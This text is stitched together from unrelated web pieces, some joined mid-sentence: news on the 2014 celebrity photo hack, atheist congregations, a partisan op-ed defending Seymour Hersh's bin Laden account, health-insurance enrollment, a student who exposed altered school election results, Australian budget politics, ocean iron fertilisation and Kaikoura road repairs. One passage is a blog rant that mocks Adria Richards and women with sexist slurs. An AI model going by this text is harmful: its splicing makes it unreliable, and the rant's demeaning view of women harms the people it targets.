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Product SpecificationsJennifer Lawrence is still processing the “unbelievably violating” nude photo hack that ripped apart her world in 2014.
“When I first found out it was happening, my security reached out to me. It was happening minute-to-minute — it was almost like a ransom situation where they were releasing new ones every hour or so,” the actress said in a new interview with The Hollywood Reporter.
“And, I don’t know, I feel like I got gang-banged by the fucking planet — like, there’s not one person in the world that is not capable of seeing these intimate photos of me,” Lawrence said. “You can just be at a barbecue and somebody can just pull them up on their phone. That was a really impossible thing to process.”
The 27-year-old actress was one of over 100 people targeted in the attack, which affected celebrities including Kate Upton, Kim Kardashian, Gabrielle Union, Victoria Justice and soccer star Hope Solo.
Kevin Winter via Getty Images Jennifer Lawrence speaking at the 9th Annual Governors Awards on Nov. 11. She tells The Hollywood Reporter she's still processing the 2014 nude photo hack that included images of her.
“A lot of women were affected, and a lot of them reached out to me about suing Apple or suing [others] — and none of that was gonna really bring me peace, none of that was gonna bring my nude body back to me and Nic [actor Nicholas Hoult, Lawrence’s former boyfriend], the person that they were intended for,” Lawrence said.
At the time of the hack, the actress told Vanity Fair that the photo leak was a “sex crime” and that anyone looking at the photos was “perpetuating a sexual offense.”Singing songs, clapping hands, praising acts of giving and community work – all the things present in a Church have now found an official home in so-called ‘atheist mega-churches’, a quirky idea spreading like wildfire across the Western world.
One of the latest countries to come into contact with the trend is the United States, with dozens of gatherings by those sharing in their non-belief in God planned ahead. A similar situation can be seen happening in Australia and Canada. But it all started in the United Kingdom in January 2013, when two popular comedians started seeking an outlet for their feelings on the subject.
Sanderson Jones and Pippa Evans then embarked on a quest to collect hundreds of thousands of dollars to help atheists the world over connect with each other, do good deeds and laugh in the kind of community atmosphere a Church would offer – except without God.
The Associated Press reported from Los Angeles on Sunday, where several hundred people gathered to do just that – as they had been doing more and more in places like New York, San Diego, Nashville and others.
Jones and Evans have dedicated an entire comedy tour around the US and Australia – called ‘40 days, 40 nights’ – to raise $800,000 to establish such congregations around the globe. They have just passed the $50,000 mark.
What is perhaps unexpected of Jones’ and Evans’ atheism is their refusal to crucify believers in God. In fact it is just the opposite. Jones remembers being very moved six years ago by the feeling of a Christmas carol concert, which, sadly for him, was just short of what he was looking for.
"There was so much about it that I loved, but it's a shame because at the heart of it, it's something I don't believe in," Jones explains to his 'disciples'. "If you think about church, there's very little that's bad. It's singing awesome songs, hearing interesting talks, thinking about improving yourself and helping other people. And doing that in a community with wonderful relationships. What part of this is not to like?”
He told RT at one of the group's London congregations that "I think that, just because you don't believe in God, doesn't mean you don't want to hear really interesting talks, to think about improving yourself, to sing with others and have a cup of tea with them at the end. This is really all the best things about Church, but without the one thing I'm uncomfortable with - which is the religion part."
Although the Sunday Assembly – as its founders christened it – is a godless place and not an official religious institution, it is marked by a uniquely religious atmosphere. Evans would enter, followed by a band playing classic rock hits. Queen’s ‘Don’t Stop Me Now’ is the anthem. There is a ‘service’, with reading, discussion, moments for reflection, and activities directed at engaging the members in getting to know each other. But a lot of this has a very serious mission – to engage in community work and the setting up of projects.
Just like a real Church, there is a sermon. But it is dedicated to questions about the universe and things like quantum theory and anti-matter, all very tongue-in-cheek.
All this is then tied up with Stevie Wonder’s ‘Superstition’, with everyone standing up to sing.
“The Sunday Assembly is a godless congregation that celebrates life. Our motto: live better, help often, wonder more. Our mission: to help everyone find and fulfill their full potential. Our vision: a godless congregation in every town, city and village that wants one.”
So says the homepage of the organization set up to promote Jones’ and Evans’ atheist congregations. Founded in January this year, it went from its cradle in an East London community center to sending out press releases containing expansion plans, coupled with a 3,000 percent growth in the several months the movement was in operation.
Jones and Evans are confident that the world is looking at “the fastest growing church in the world,” as Alternet cites them as saying. And this was before the giant fund-raising campaign-slash-comedy-tour was launched.
And the duo’s initiative is far from a joke, as the rise of their movement coincides with the increasing view that there are more atheists in America than previously thought. So claims the Pew Forum on Religion & Public Life, after discovering that the percentage of atheist responders to their survey has risen by 5 percent in the course of five years, to 20 percent. That group was further broken down into categories that view themselves as either ‘spiritual’, or believers – but not in an organized religion.
In Britain, a quarter describe themselves as having no religion at all, and that figure is going up by about 750,000 people each year. Meanwhile, Christianity is losing believers at an incredible pace - more than half a million followers annually. At those speeds, the number of atheists is projected to overtake the number of believers by 2030, RT's Polly Boiko reported from London.
"The congregations are getting older and older. And I think we're getting now to the stage where there are second and third generations of people who've just never been to a Church. More and more people are finding that the Church is not relevant, particularly when the leaders of Churches taking positions on women's rights and gay rights, which are totally [different] from what people in the congregation think," said Keith Porteous Wood, Executive Director at the National Secular Society.
Each place where the movement takes root also has its own reasons for allowing it to flourish, explained Phil Zuckerman, professor of secular studies at Pitzer College in Claremont, US.
"In the US, there's a little bit of a feeling that if you're not religious, you're not patriotic. I think a lot of secular people say, 'Hey, wait a minute. We are charitable, we are good people, we're good parents and we are just as good citizens as you and we're going to start a church to prove it… it’s still a minority, but there’s enough of them now.”
Naysayers of course exist, even among the atheist camp. Some of them flat-out do not believe a movement so closely resembling religion should be set up for anything indicating a lack of belief. Others are pessimistic about the movement’s growth because they think atheism for many is the exact opposite of community.
Roy Spekchardt, executive director of the America Humanist Association, told Alternet that the one strong challenge he sees to the movement is that "it tends to overlook the fact that the majority of involved atheists and humanists aren’t actually interested in personally being involved in a congregation atmosphere.”
But as criticism continues to pour in – and is expected – the Sunday Assembly continues to grow at a rapid rate.The postings on this site are my own and don't necessarily represent Air Force positions, strategies or opinions.
There are several reasons for this blog. First, I believe I have something to contribute to an important discussion. Second, traditional military avenues of discussion (PME) have proven ineffective methods for dialogue. Third, the Air Force "Emerging Technologies" division of Public Affairs released instructional guidance for "each Airman to act as a communicator to be the voice of the Air Force in the blogosphere" while noting "there are movements within DoD to explore a broader, more aggressive and holistic approach... to integrate communicators" and stating, "the rules of the game have clearly changed." Finally, this blog served as a sounding board for a master's thesis I have completed entitled, "The Smartest Guys in the Room and the Best of the Best." The thesis examines the culture of Enron and Air Force fighter pilot culture, finds similarities, and makes recommendations.In accordance with the PA guidelines mentioned above, this blog seeks to provide one personal, transparent, credible perspective -- among other perspectives online -- with the goal of furthering conversation to help foster a stronger, more relevant Air Force. The intent of this blog is to be transparent and is not used to hide identity. Readers are encouraged to post comments or email me if they think form or substance in this blog is an issue. All criticism is welcomed. For more info on blogging and the Air Force please see my first blog post Note: As Tony Carr (despite claims otherwise), FlyingSquadron.Com and MilitaryTimes.Com all share an affinity for banning those who present unpopular viewpoints (ie disagreeing with them), I have created a Facebook page to share such banned opinions. Please visit Martial Matters if you are interested in that less civil discussion.Hello. I'm Katie, and together with colleagues here at the Careers Service at The University of Sheffield, we have many years experience of helping people enhance their chances of success in getting the job they want or securing a place on their chosen course. On this course, we'll help you to sell yourself, create a fantastic CV, an online profile, and write the best possible application for the job or course that you want. We're going to share with you some of the best practices you can use when applying for jobs, apprenticeships, placements, and university courses. Each week we'll look at a different element of the application process, from preparing to apply, to writing CVs, and completing application forms.
We'll also learn how to understand more about recruiters, and what they are looking for, by analysing job adverts and course specifications, as well as helping you think in more detail about what you have to offer them. We'll have insights from employers and admissions tutors from a range of different industries who will share with you what they look for and don't look for in an applicant. We'll show you what you look like online to a potential recruiter, and how to make the most of that opportunity. We'll also give you top tips on how not to be knocked out of a short list.
We hope that with the help of this course, you'll be able to identify your own strengths and skills, and tackle applying for your dream job or course with confidence. And, once you've mastered the perfect application, you might also want to check out our next course, which is all about succeeding at interviews, and will help you over that final hurdle to securing your dream job or place on a course. So, why not take advantage of the insights and expertise we've put together on this course, and give yourself the best possible chance at getting that interview by making an impressive application.US intelligence and media fail to debunk Seymour Hersh on bin Laden
By Patrick Martin
22 May 2015
More than 10 days had passed since the London Review of Books published the devastating exposure by Seymour Hersh of US government lies about the killing of Osama bin Laden, before the American intelligence apparatus could muster even the semblance of a rebuttal.
It came Wednesday in the form of a release by the Office of the Director of National Intelligence (DNI) of 100 or so documents supposedly recovered during the May 1, 2011, raid by Navy Seals that killed bin Laden in Abbottabad, Pakistan.
The DNI was at pains to deny there was any connection between the document release and Hersh’s exposé. The documents were said to have been collected inside bin Laden’s compound, translated from Arabic by the CIA, scrutinized by intelligence analysts, then prepared for declassification, which the CIA normally resists furiously.
This protracted and contentious process, extending over more than four years, resulted in the release of documents supposedly substantiating the official US account of the raid on bin Laden only 10 days after this account had been comprehensively dismantled by the premier investigative journalist of the past generation.
Even the compliant American media could not swallow the claim that this was a pure coincidence. Instead, the corporate-controlled press did the best it could to portray the newly declassified documents as a dramatic new revelation about bin Laden’s final years, perhaps hoping it would overshadow the Hersh story, which the US media has largely buried. If readers got the impression that the new material refuted Hersh’s exposure of US government lies, so much the better.
Actually, the new material does nothing to undermine Hersh’s account. His main source for the London Review of Books article, a retired US intelligence official, told him bin Laden was a prisoner of the Pakistani military, and not in day-to-day leadership of Al Qaeda. Consequently, the raid produced little of intelligence value. Hersh wrote: “‘Despite all the talk,’ the retired official continued, there were ‘no garbage bags full of computers and storage devices.’ The guys just stuffed some books and papers they found in his room in their backpacks.”
The “100 letters and documents found during the raid,” as the Guardian describes the material just released by the DNI, hardly contradict this picture. There are no computer hard drives or memory sticks which, as Edward Snowden demonstrated, can carry millions of documents, not just a few dozen. The documents are certainly nothing like the mass of material that supposedly generated 400 intelligence reports in the first few days of exploitation, as the Obama administration had claimed.
The only other significant attempt to rebut Hersh’s account also had the CIA as its source. Michael Morell, former deputy director of the agency, now retired and serving as a highly paid media “expert” on terrorism, gave a detailed rejoinder to Hersh that was published in the Wall Street Journal’s op-ed page and widely cited by other commentators.
Morell denied that the raid on bin Laden was carried out with the knowledge and cooperation of the Pakistani military, denied that the CIA learned of bin Laden’s location from a “walk-in” seeking a monetary reward (rather than from torturing prisoners, as the agency and its propaganda video, Zero Dark Thirty, claimed), denied that the CIA obtained DNA samples to confirm bin Laden’s identity before the raid, denied that there was little intelligence material collected in Abbottabad, and denied that the Navy Seals tossed bin Laden’s bullet-shredded body from their helicopter rather than sending it for burial at sea, with full Muslim rites.
The retired CIA official offered as the sole evidence for all his arguments—himself! He, Michael Morell, was present at White House meetings that discussed concealing the raid from the Pakistanis; he, Michael Morell, oversaw the intelligence-gathering and interrogations that located bin Laden; he, Michael Morell, saw the “treasure trove” of documents and viewed photographs of the burial at sea. And of course, no top CIA official, active or “retired,” would ever lie about these matters to the American people. The entire argument is ludicrous, self-evidently so.
As for the American media, it has sought to deal with the Hersh revelations by suppressing their content and smearing Hersh as delusional. In a scathing review of the media response, published in the Columbia Journalism Review, Trevor Timm, executive director of the Freedom of the Press Foundation, wrote:
“The media’s reaction to Seymour Hersh’s bin Laden scoop has been disgraceful.
Seymour Hersh has done the public a great service by breathing life into questions surrounding the official narrative of the raid that killed Osama bin Laden. Yet instead of trying to build off the details of his story, or to disprove his assertions with additional reporting, journalists have largely attempted to tear down the messenger.”
Timm attacked the media focus on Hersh’s use of anonymous sources, noting the cynical double standard, since most major US newspapers and television networks routinely cite anonymous “senior government officials” to spout the official propaganda line on any subject, from sensitive military-intelligence issues to everyday political infighting.
He continued, “anonymity is sometimes warranted, and the idea that Hersh’s sources were anonymous should not come as a surprise. These are highly classified operations. The Defense Department has openly threatened to prosecute people for talking about the bin Laden raid, even as the CIA leaks its own version of events to friendly reporters and movie producers.”
One exception to the media derision of Hersh was Carlotta Gall, a longtime New York Times reporter in Central Asia, who backed his claim that the Pakistani Inter-Services Intelligence (ISI) had concealed bin Laden in the compound in Abbottabad and that a former ISI officer was the “walk-in” who told the CIA where he was hiding. “On this count, my own reporting tracks with Hersh's,” Gall wrote.
As for Hersh, he has fought back vigorously against both the personal attacks on his reporting and the overall silence of the media on the content of his allegations against the Obama administration. He has given numerous media interviews, but perhaps the most comprehensive came May 13 with National Public Radio’s “On the Media” program (the podcast is available here).
There are three important observations from this interview. First, Hersh readily admitted that his account is based on interviews with key witnesses, not documents. His main source, the former US intelligence official, was known to Hersh’s editors at the London Review of Books, and was interviewed by them several times in fact-checking his article. This is not unusual, Hersh says: his famous exposure of the My Lai massacre also relied on witnesses, not documents, although he had seen one solitary piece of paper on the atrocity which he was not allowed to keep.
Secondly, Hersh rebutted the claim that it is unlikely that the US government could have sustained a false narrative of the bin Laden raid for four years, given all the thousands of people—American soldiers, seamen, airmen and intelligence officers, Pakistani military and civilians—who must have known the truth. His response: Tens of thousands of employees and contractors of the National Security Agency knew of its vast and illegal surveillance operations over the dozen years since the 9/11 attacks, but not until a single contractor, Edward Snowden, came forward with his revelations, were the American people given a true account of the police-state methods of their “own” government. “Clearly,” Hersh said, “it’s not that hard to hide very, very explosive information.”
Finally, Hersh responded to suggestions that, at 78, he has become delusional, paranoid and even senile. His methods are no different than they were when he was a young journalist investigating the My Lai massacre and CIA domestic spying, he said. Then as now, he relied on sources within the national security apparatus and developed a “counter-narrative” to the official story being peddled by the media more generally. Then as now, the reaction to his exposures from government and media circles is to vilify the reporter in order to avoid dealing with the story.
He might have added that while he remains true to his own principles and methods of work, the American corporate media has moved drastically to the right, in lockstep with the shift in official bourgeois politics. Just as there is no constituency in the US ruling elite for the defense of democratic rights, there is no one in the leadership of the New York Times or the Washington Post willing to challenge the military-intelligence apparatus as they did more than 40 years ago in publishing the Pentagon Papers.
That is why Hersh, who once wrote investigative reports for the Times, before being pushed out to the New Yorker, now must go to the London Review of Books to find an outlet willing to publish his exposés.
The author also recommends:
The bin Laden assassination and the lies of the “war on terror”
[13 May 2015]
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INDIANAPOLIS, Ind. (October 30, 2015) – The open enrollment period for the federal healthcare marketplace starts this weekend. Americans who don’t get insurance through work must buy their own coverage or face a steep fine.
Starting in 2016, people who are not insured will need to pay $695 or 2.5 percent of their income. The penalty is up more than $300 from 2015. The requirements are part of the Affordable Care Act, passed in 2010.
There is good news for Hoosiers when it comes to the healthcare marketplace. Premiums for many plans in Indiana are dropping by 13% - that’s the biggest decline in the country.
“I think the big variables to look at are going to be what your deductible level is, what your out-of-pocket level is, how your drug card works and then really also what your provider network looks like,” said Joe Gilbert, from Anthem.
The open enrollment period runs from November 1, 2015 to January 31, 2016. If you want your benefits to go into effect by January 1, you must submit your application by December 15.
Gilbert said it is important for people to do their research because healthcare coverage may be more attainable due to federal assistance.
“In Indiana, 87 percent of people are receiving a subsidy to help them pay for their premiums.,” Gilber said. “So the true cost can actually be very, very affordable.”
If you enrolled in a marketplace plan last year and take no action this year, you will simply be renewed or enrolled in a similar plan. Experts say some options have changed so you should log on and review your coverage before the January 31 deadline.Adria Richards: The Woman Who Set Women Back 20 Years
Halfway across the river, the frog suddenly felt a sharp sting in his back and, out of the corner of his eye, saw the scorpion remove his stinger from the frog’s back.
A deadening numbness began to creep into his limbs.
“You fool!” croaked the frog, “Now we shall both die! Why on earth did you do that?”
The scorpion shrugged, and did a little jig on the drownings frog’s back.
“I could not help myself. It is my nature.”
Then they both sank into the muddy waters of the swiftly flowing river.
The Scorpion and the Frog
There are two interesting phenomenon at play today not only in the technology sector but in corporate America as a whole. On the one hand, you have a major push on to increase the number of women in programming. On the other hand, there is a growing and justified concern amongst men that a few bad apples will turn workplaces into Orwellian nightmares where one has to be constantly vigilant not to do anything that could be construed as Speech Crime, Thought Crime, or even Face Crime, and cost them their livelihood.
The particularly ugly Adria Richards incident at the Python convention earlier this year perfectly illustrates how one shrill militant can not only have a perfectly innocent stranger fired for a fabricated reason, but set all women back at the same time.
If by chance you don’t know the story because you were on a ayahuasca vacation in the Amazon or something similar, here it is in a nutshell:
Radfem heroine Adria Richards is sitting at the Python conference waiting for a talk to commence. As the audience slowly shuffles in, she starts eavesdropping on a conversation between two male attendees seated 10 or 15 feet away. Both are unaware that Adria is listening to them as they engage in some boyish oneupmanship to see who is better at making innocent technical terms such as “dongle” and “forking” sound naughty. Yes, men do that kind of stuff. (Watch the popular British automotive television series Top Gear to see how even three middle-aged men can’t go five minutes without making a dick joke.) To continue, Adria decides after a few minutes that she is being victimized yet again by the WPPO (“White Penis People Oppressors”) by being forced to lean back to eavesdrop on the men, so she pulls out her phone, snaps a picture of them, and tells them that a shitstorm is coming.
She then blogs about it. The shitstorm of manufactured outrage sweeps through the radfem community who see themselves as the universe’s eternal victims despite the empty protests of being equal, and one of the men, a father of four in this case, is fired by the backboneless Playhaven CEO Andy Yang.
Because of people who seem to go out of their way to stir up trouble where there is none, growing numbers of men working in tech startups and large corporations avoid any kind of work or after work socializing with their female co-workers. Not only can an innocent joke get you into trouble if some incipient radfem commissar chooses to take it the wrong way and lodges a complaint, but just having the wrong facial expression if you happen to be staring off into space can be perceived by the sisters of eternal victimhood as lecherous oggling.
Even women understand the negative effects of this type of backstabbing on women as a whole:
If you want the full story on how Adria Richards set women back 20 years, listen to TJ Kirk explain it in his inimitable and very funny style. But be prepared to feel your anger rise as you hear how two random strangers having a private conversation were hurt by a busybody eavesdropper. It’s a sad fact that many self-described radfems go through life as the scorpion in the fable.
Special mention goes to the Playhaven CEO Andy Yang for firing the victim. If he had any balls he would have backed his employee.Vincent is the story of a young boy, Vincent Malloy, who pretends to be like the actor Vincent Price (who narrates the film). He is obsessed with the tales of Edgar Allan Poe, and it is his detachment from reality when reading them that leads to his delusions that he is in fact a tortured artist, deprived of the woman he loves, mirroring certain parts of Poe’s “The Raven”. The film ends with Vincent being tortured by the goings-on of his make-believe world, quoting “The Raven” as he falls to the floor in frailty, believing himself to be dead.
source: www. wikipedia.org
Interesting facts:
The technique used in this film is called stop-motion which is one of the earliest special effects in film. Dead objects are filmed frame per frame while moving the objects little by little. A movement-effect appears when 24 frames are being played per second. A few of the pioneers in stop-motion are Ray Harryhausen and Willis O’Brien but the artful technique is still being used in film and commercials.
One of Tim Burton’s biggest idols from his childhood is horror-actor Vincent Price. A dream came true for Tim when Price agreed to read the story. Price said later that the film “was the most gratifying thing that ever happened. It was immortality–better than a star on Hollywood Boulevard”
The cat seen in the beginning of ‘Vincent‘ (see also our menu on the top) is also seen in ‘The Nightmare Before Christmas‘. It’s the cat jumping onto the trashcans early in the movie.
The ‘Vincent‘-Poem, written by Tim Burton.
Inspired by Edgar Allen Poe’s ‘The Raven‘ and Children’s stories by Dr. Seuss.
Vincent Malloy is seven years old
He’s always polite and does what he’s told
For a boy his age, he’s considerate and nice
But he wants to be just like Vincent Price
He doesn’t mind living with his sister, dog and cats
Though he’d rather share a home with spiders and bats
There he could reflect on the horrors he’s invented
And wander dark hallways, alone and tormented
Vincent is nice when his aunt comes to see him
But imagines dipping her in wax for his wax museum
He likes to experiment on his dog Abercrombie
In the hopes of creating a horrible zombie
So he and his horrible zombie dog
Could go searching for victims in the London fog
His thoughts, though, aren’t only of ghoulish crimes
He likes to paint and read to pass some of the times
While other kids read books like Go, Jane, Go!
Vincent’s favourite author is Edgar Allen Poe
One night, while reading a gruesome tale
He read a passage that made him turn pale
Such horrible news he could not survive
For his beautiful wife had been buried alive!
He dug out her grave to make sure she was dead
Unaware that her grave was his mother’s flower bed
His mother sent Vincent off to his room
He knew he’d been banished to the tower of doom
Where he was sentenced to spend the rest of his life
Alone with the portrait of his beautiful wife
While alone and insane encased in his tomb
Vincent’s mother burst suddenly into the room
She said: “If you want to, you can go out and play
It’s sunny outside, and a beautiful day”
Vincent tried to talk, but he just couldn’t speak
The years of isolation had made him quite weak
So he took out some paper and scrawled with a pen:
“I am possessed by this house, and can never leave it again”
His mother said: “You’re not possessed, and you’re not almost dead
These games that you play are all in your head
You’re not Vincent Price, you’re Vincent Malloy
You’re |
net…
So was it worth reading, I am not too sure, but a couple of my friends asked me to put all of this in one place. They are friends with me though so it is only right that their judgement is questioned. Apologies if I have just taken time away from your life which you will never be able to get back, it’s not that I really care though, I got a free pen!FULLERTON – The Troy High School senior who was suspended from school and stripped of his student-government post after he broke into a school database to reveal that a teacher altered election results is seeking to undo some of the discipline imposed on him.
Jacob Bigham, 17, and his parents have asked the Fullerton Joint Union High School District to consider expunging from his record his five-day suspension and reinstating him this fall as student-body vice president, in the wake of a public uproar over the way the district handled the election flap four months ago.
Bigham revealed in April that the candidates whom student-government faculty adviser Jenny Redmond named student-body president and vice president for 2012-13 weren’t the top vote-getters. He was immediately suspended for five days, stripped of his current post as student-body secretary and barred from assuming the student-body vice presidency that he’d won for 2012-13. Redmond continued teaching the student-government class for the remainder of the school year.
In an emotionally charged speech to the school board this week, Jacob Bigham said he was “disappointed and saddened” that he had become Troy’s scapegoat, and indicated that the ordeal had taken a tremendous personal toll and caused his grades to slip.
“I hope that, even if not now, at the very least we can take more care of students like me who, had anyone looked at my grades and saw my grades were slipping, maybe something could have been done,” Bigham, a Buena Park resident, told the district’s five elected trustees. “I guess that didn’t really matter until after, when it could be used against me instead of to help me.”
District officials did not respond to Bigham’s comments during Tuesday’s meeting, but they spoke with him privately afterward.
“I think elections are sacred,” district trustee Marilyn Buchi told the Register after the meeting. “I don’t think anyone should tinker with an election.”
District Superintendent George Giokaris emphasized Tuesday that he could not comment on Redmond, citing employee privacy, but confirmed that officials were reevaluating the entire situation behind closed doors and had spoken with Bigham about his request to reverse some of the disciplinary action taken against him.
Redmond, who did not attend Tuesday’s meeting, has refused all requests for comment.
Although she resigned as the student-government teacher at the end of the school year in June, Redmond continues to be employed full time at Troy as a special-education teacher.
Redmond likely was not formally disciplined. Last month, the Register filed a public records request to obtain all documentation on any employee who was disciplined in the incident. The Fullerton district responded last week by saying it had no such disciplinary records.
School districts and other public agencies are required to release employee disciplinary records in cases where compelling public interest outweighs an employee’s privacy rights, federal courts have ruled.
Bigham, an honors student who aspires to attend UC Berkeley, was punished by his school after confessing to using a faculty password to break into a school database, which he used to access and publicize the raw voting tallies.
Bigham has said he has no regrets over what he did, pointing out that his peers in student government long believed Redmond was tampering with the election results and that he felt the only way to definitively find out was to access the raw tallies himself.
“He was a whistleblower and the victim of the voter fraud,” one of Bigham’s most vocal supporters, parent Gilbert Nelsen of Irvine, told trustees Tuesday.
“If no action is taken and the Bighams grant me permission, I’ll … go viral on the Internet and we will take this to YouTube,” said Nelsen, who does not know the Bighams but whose own teenage son is a student-government officer at Tustin High School. “I will set up a legal defense fund, and I will file a third-person complaint against the ASB adviser with the (state’s) Commission on Teacher Credentialing. We are all citizens of this world, and we all need to do the right thing.”
Added Bigham’s father, David Bigham: “Some of these kids will be old enough to vote (in state and national elections) this November. What message are we sending?”
After the Register chronicled the Troy election controversy in a July story, school district officials announced they were reopening a full investigation into the matter.
At the start of the reopened investigation, the Bighams said they were fearful the district intended to impose further discipline on the teen, including barring him from using all school computers his senior year. Jacob Bigham wrote a letter to district officials July 25 urging them not to take this action.
“While I understand that, at first, this may seem like a logically necessary action and precaution, I feel that such a punishment would not be conducive to my academic success as a Troy High School student,” Bigham wrote.
On Tuesday, the superintendent confirmed Bigham would face no further discipline in the matter, including for a disparaging text message he sent to Redmond in April in which he criticized her “blatant disregard for others’ opinions” and suggested she still had “a few more nails to hammer into the coffin of logic.”
Bigham said he regretted sending the message.
At Tuesday’s board meeting, Bigham’s supporters included an aide to state Assemblyman Chris Norby, R-Fullerton, who urged district trustees to take swift action to ensure the incident wouldn’t be repeated. Norby is considering introducing state legislation in the coming months clarifying that election results, even at the high school level, cannot be altered.
“The way this was structured, the teacher suffered a temptation to alter the results of the election,” Norby’s aide, Chris Nguyen, told trustees. “Send a message that democracy should be respected, whether at the school level, the county, state or federal level.”
The superintendent said this week that the school district already has begun the process of clarifying in its by-laws that student-voting results must be honored. Student-government officers from the district’s high schools will lead an effort to rewrite their own constitutions as well, Giokaris said.
“We will be making recommendations for board policies ASAP,” Giokaris said. “We need to ensure this never happens again.”
Contact the writer: 949-454-7394 or [email protected] or Twitter: @MartindaleScottShadow Treasurer Chris Bowen Credit:Andrew Meares The shadow treasurer will argue that wage growth forecasts of up to to 3.75 per cent, which underpin revenue, are unrealistic and "yet the budget also continues to include unrealistic forecasts which help underpin the return to surplus". But it is Mr Bowen's attack on the government's housing package, which comes after the Coalition signalled housing affordability would be a centrepiece of the economic document, that will probably resonate with voters. "Budget speculation tells us that they contemplated acting. I always doubted that they would. They didn't because they lack the courage. Without reform to negative gearing and capital gains tax, the government's package, and I don't use the word lightly, is a sham," he will say, according to speech notes. "Most of the measures are unobjectionable. Ineffective, but unobjectionable. One, however, is highly objectionable. We know the government dabbled with all sorts of hare-brained plans to allow access to superannuation.
"Without negative gearing and supply-side reform, if it has any impact at all, it will simply drive up prices." Treasurer Scott Morrison's second budget contained a series of measures, including tax incentives for retirees to downsize, a tax on vacant investment properties, a tightening of negative gearing travel perks, a cap on new properties that can be bought by foreigners and a new first home super saver scheme. But it did not - after much internal debate - reduce capital gains tax discounts or tackle negative gearing. The super scheme allows first home buyers to put up to $30,000 extra into their super, enjoy the favourable tax treatment, and then withdraw it to use as a partial house deposit. Labor has said it will oppose this measure.
The shadow treasurer will also demand the government "stop lying about NDIS funding", saying the former Labor government had fully funded the disability insurance scheme. In fact, when Labor left office a $302 million saving measure linked to retirement incomes, designed to help fund the NDIS, had not been passed by the Parliament and was dropped by the Abbott government. This is a relatively small portion of the $10.8 billion annual cost to the Commonwealth of the NDIS by 2019-20; but this $302 million sum, plus other savings the current government says Labor has counted twice, leave an overall shortfall of $3.8 billion in funding in 2019-20. The Treasury has estimated the NDIS is underfunded by nearly $56 billion over 10 years, and a 0.5 per cent rise in the Medicare Levy was announced in the budget, raising $3.9 billion a year from July 2019, to help meet this shortfall. Also on Tuesday, Mr Morrison said sections of of new housing developments in Sydney and Melbourne should be reserved for first home buyers and affordable housing, in a proposal that goes beyond the federal budget.
Loading "It is a real problem that in so many parts of our city here in Sydney and Melbourne, as well, that the people who teach our kids, look after us in the hospital and keep our streets safe actually often find it hard to live in the same community." Follow us on FacebookImage caption The algae Corethron pennatum was one of the species stimulated by the iron addition
Fertilising the oceans with iron to combat climate change can lock carbon away for centuries, research suggests.
Tiny marine plants induced to grow by the iron sink to the ocean floor taking carbon with them, a German-led team reports in Nature journal.
Iron fertilisation is one of the oldest ideas for a climate "technical fix".
But much more research is needed before the approach could be put to use, the scientists say, and cutting emissions should be the priority.
There have been about 12 iron fertilisation experiments at sea down the years, stimulated by the pioneering theory of oceanographer John Martin.
In the 1980s, he proposed that in many parts of the oceans, the growth of phytoplankton - tiny marine plants, or algae - was limited by lack of iron.
Adding iron, he suggested, would enable the plants to make full use of nutrients such as nitrogen and phosphorus; and as they grew, they would absorb carbon dioxide.
This has since become the most researched of all the proposed "geoengineering" approaches - technical fixes for climate change.
Many experiments have shown that adding iron stimulates the phytoplankton to grow and absorb CO2; but whether the carbon is released again as the plants die, or through respiration of tiny animals (zooplankton) that eat them, has never been clear.
The new paper, which relates to the European Iron Fertilization Experiment (EIFEX) performed in 2004 in the Southern Ocean, is the first to give a clear positive answer to that question.
Clearing the waters
The first thing we need to do is reduce emissions, that's absolutely essential Victor Smetacek, AWI
EIFEX deposited about five tonnes of iron sulphate into an eddy in the Southern Ocean currents. Scientists showed that the water in the eddy was pretty much self-contained, its rotation largely isolating it from the rest of the ocean.
Releasing the iron caused a big bloom of algae, which died off again in the days following the release as the iron concentration dwindled.
Over a seven-week period, scientists monitored the water inside and outside the eddy before, during and after deployment of the iron sulphate.
"We had instruments that we could deploy right down to the seafloor, which is at 3,800m depth," said Victor Smetacek, lead researcher on the new paper.
"We also had water bottles that we could close at specific depths, removing the water samples, and we did a huge number of measurements on the phytoplankton and its environment - the nutrients, the iron, and the zooplankton," the Alfred Wegener Institute scientist told the BBC.
Image caption The experiments were carried out using the German Polarstern research ship
These measurements showed that about half of the carbon absorbed from the surface waters was taken down to the sea floor when the phytoplankton died.
"We've quantified this response and were able to guess at the reasons that made the algae sink out of the water column," said Prof Smetacek.
"The organic carbon in the dead algae leaked out and became a sticky mess, you could say, and this picked up other particles and we have these large flocs (flakes of solid matter) sinking out."
Carbon dioxide is constantly being exchanged between the surface of the ocean and the atmosphere.
The presumption is that once the carbon has made it to the ocean floor in solid form, it will remain there for centuries. Meanwhile, the surface water, which is now relatively depleted in carbon, will absorb more from the atmosphere.
'A lof of work ahead'
Dr Michael Steinke from the UK's University of Essex, who was not involved in the study, said it provided "the very first evidence of a man-made conduit between the increasingly CO2-burdened atmosphere and the deep sea".
However, one clear lesson from the number of iron fertilisation experiments down the years is that each patch of ocean is different; to work well, it needs to have the right mix of nutrients and the right kinds of organisms.
The biggest experiment of all, Lohafex, dealt a blow to hopes of utilising ocean fertilisation when it reported three years ago that six tonnes of iron produced little extra plankton growth.
"Will this [new paper] open up the gates to large-scale geoengineering using ocean fertilisation to mitigate climate change?" asked Dr Steinke rhetorically.
"Likely not, since the logistics of finding the right spot for such experiments are difficult and costly. Of the twelve fertilisation experiments of this kind... this group's experiment is the only example to date that demonstrates the all-important carbon burial in the deep sea sediments, away from the atmosphere."
Prof John Shepherd from the UK's National Oceanography Centre, who chaired the Royal Society report Geoengineering the Climate, said impacts on sea life needed to be taken into account before iron fertilisation could be contemplated as a real-life "technical fix".
"Whilst the new research is an interesting and valuable contribution in this evolving field, it does not address the potential ecological side effects of such a technology and it still just a single study in what is a poorly understood field," he said.
Prof Smetacek's own analysis is that even if it were deployed on a vast scale, ocean fertilisation could only take up about a quarter of the extra carbon dioxide being deposited in the atmosphere by humanity's industry, transport and agriculture.
"This is not a solution - the first thing we need to do is reduce emissions, that's absolutely essential," he said.
Follow Richard on TwitterMore than 1000 men and women are working to repair the quake-damaged highway and rail route along the Kaikoura coast.
It is the "biggest job in New Zealand" according to Peter "Thommo" Thompson, Site Supervisor, and one of 1000 men and women working to repair the quake-damaged highway and rail route along the Kaikoura coast.
Massive slips, triggered by last November's 7.8 magnitude earthquake, dumped more than 700,000 cubic metres of material – rock, soil and shingle – much of it onto State Highway 1.
Bridges are being built, debris cleared, and whole sections of SH1 and the rail line realigned. The work is constant, on occasion through the night, and though the sea views are magnificent, the winter environment is inhospitable.
FRANK FILM Drone footage reveals the magnitude of the task that remains on the quake-wrecked SH1.
